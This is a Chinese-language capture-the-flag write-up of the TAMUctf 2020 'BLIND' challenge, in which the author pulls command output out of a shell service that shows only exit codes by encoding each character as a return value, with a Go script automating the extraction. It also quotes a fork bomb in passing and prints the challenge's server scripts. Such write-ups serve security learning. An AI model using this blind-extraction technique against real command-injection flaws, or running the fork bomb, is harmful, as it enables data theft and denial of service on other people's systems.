题解 · BLIND

2020年3月20日,中雨。闲着没事就去打CTF,共做出1道题,非常开心,记录如下。

题目叫BLIND,类型为MISC,题干是nc challenges.tamuctf.com 3424

好,打开WSL,nc命令连进去看看。

$ nc challenges.tamuctf.com 3424
Execute:

Execute?执行?执行什么?二进制嘛?随便输入几个数字看看:

Execute: 123456
127

127?123456处理结果是127嘛?输入非数字试试?

Execute: jdaojdao
127

嗯……还是127,再试试

Execute: 123456
127
Execute: jdao
127
Execute: 0
127
Execute: echo
0
Execute: ls
0
Execute: ls /
0

噢?echo和ls返回0?原来是个shell啊,不过您怎么不带回显的啊?哦,难怪题目叫BLIND,还是个盲注。看来只能根据返回值判断了。

经过一番测试确定,后来dump出题目的源码也证实,每次Execute之间是相互独立的,所以不可以将命令的输出保存进变量,第二次Execute的时候再读取。

Execute: count=`ls | wc -w` # 统计当前目录下有多少文件
0 # 0代表着命令执行成功
Execute: echo $count # 与上一条命令已经不是同一个环境了
0 # 并不会输出$count,即使输出能够显示也没有

后来发现,这道题最关键的部分就是控制命令的返回值,因为只有命令的返回值才是我们可见的,然鹅经过苦苦的搜索并没有发现linux哪个命令可以让我们完全控制返回值。而且函数不知为何也用不了。

就当我在群里说是不是sh不支持函数的时候,顺手百度验证了一下,然后又在本机试了一下,发现原来是可以用函数的:

function check { return 3; } ; check
echo $? # 输出返回值,为3

然后去nc里面确认,确实可以用:

Execute: function check { return 3; } ; check
3

接下来问题就迎刃而解了,把我们需要的命令放在3的位置上:

Execute: function check { return `ls | wc -w`; } ; check
3 # 说明当前目录下有3个文件或文件夹

打断一下,shell里函数除了这么写

function f {
	# ...
}

还可以这么写

f() {
	# ...
}

而且受到某fork炸弹:(){:|:&};:的启发,上面返回3的命令就可以简写为:(){ return 3; };:

函数的另一个好处就是我们可以储存命令的输出,然后做处理

:(){ 
	ret=`ls /`; 
	echo ${ret:0:1}; # ls命令输出的第一个字符
};:

最后一个关键点是,如何将字符转成ASCII码,因为返回值只能是整数。

一开始以为没法完全控制返回值,想到用二分法测试,用test命令比较大小。为此还写了一段代码调了半天,太惨太惨。

看到队友的脚本之后眼前一亮,原来可以用printf,格式化输出,好家伙。所以将字符转为ASCII码的命令是这样子:

$ printf '%d' "'a"
97 # 小写字母a的ascii码

万事俱备!那就看看我们ls命令的输出……的第一个字母,是什么吧!

Execute: :(){ ret=`ls`; return `printf '%d' \"'${ret:0:1}\"`; };:
101 # 代表字母e

到这里,整道题在原理上已经不存在疑点了,就只剩下编写个脚本就能拿到任意命令的输出啦~

能看到命令的输出,在目录下随便逛逛肯定就能找到flag啦……吧?

// blind.go
package main

import (
	"bufio"
	"fmt"
	"os"

	"github.com/Tnze/pwn/v2"
)

func main() {
	p := pwn.Remote("challenges.tamuctf.com:3424")
	in := bufio.NewReader(os.Stdin)

	for {
		fmt.Print("$ ")
		line, _, _ := in.ReadLine()
		fmt.Printf("Execute: %s\n", line)
		// 判断ret长度
		length := Execute(p, ":(){ return `"+string(line)+" | wc -c`; };:")
		fmt.Printf("len: %d\n", length)
		for i := 0; i < length; i++ {
			c := Execute(p, fmt.Sprintf(":(){ ret=`%s`; return `printf '%%d' \"'${ret:%d:1}\"`; };:", string(line), i))
			fmt.Printf("%c", c)
		}
		fmt.Println()
	}
}

func Execute(p *pwn.Program, cmd string) (ret int) {
	p.Read([]byte("Execute: ")) // 只是为了读掉这么长的数据
	p.Write([]byte(cmd + "\n"))
	fmt.Fscan(p, &ret)
	return
}

运行程序!ls !

PS ...> go run .\blind.go
$ ls
Execute: ls
len: 26
exec.sh
flag.txt
start.sh 
$

欣赏字符一个一个、异常缓慢地跳出来吧(每读个字符都执行了一次命令)

EOF

start.sh

#!/bin/bash

while :
do
    su -c "exec socat TCP-LISTEN:3424,reuseaddr,fork EXEC:/ctf/exec.sh,stderr" - ctfuser;
done

exec.sh

#!/bin/bash
printf "Execute: "
while read text;
do
        bash -c "$text" >/dev/null 2>&1;
        echo $?;
        printf "Execute: "
done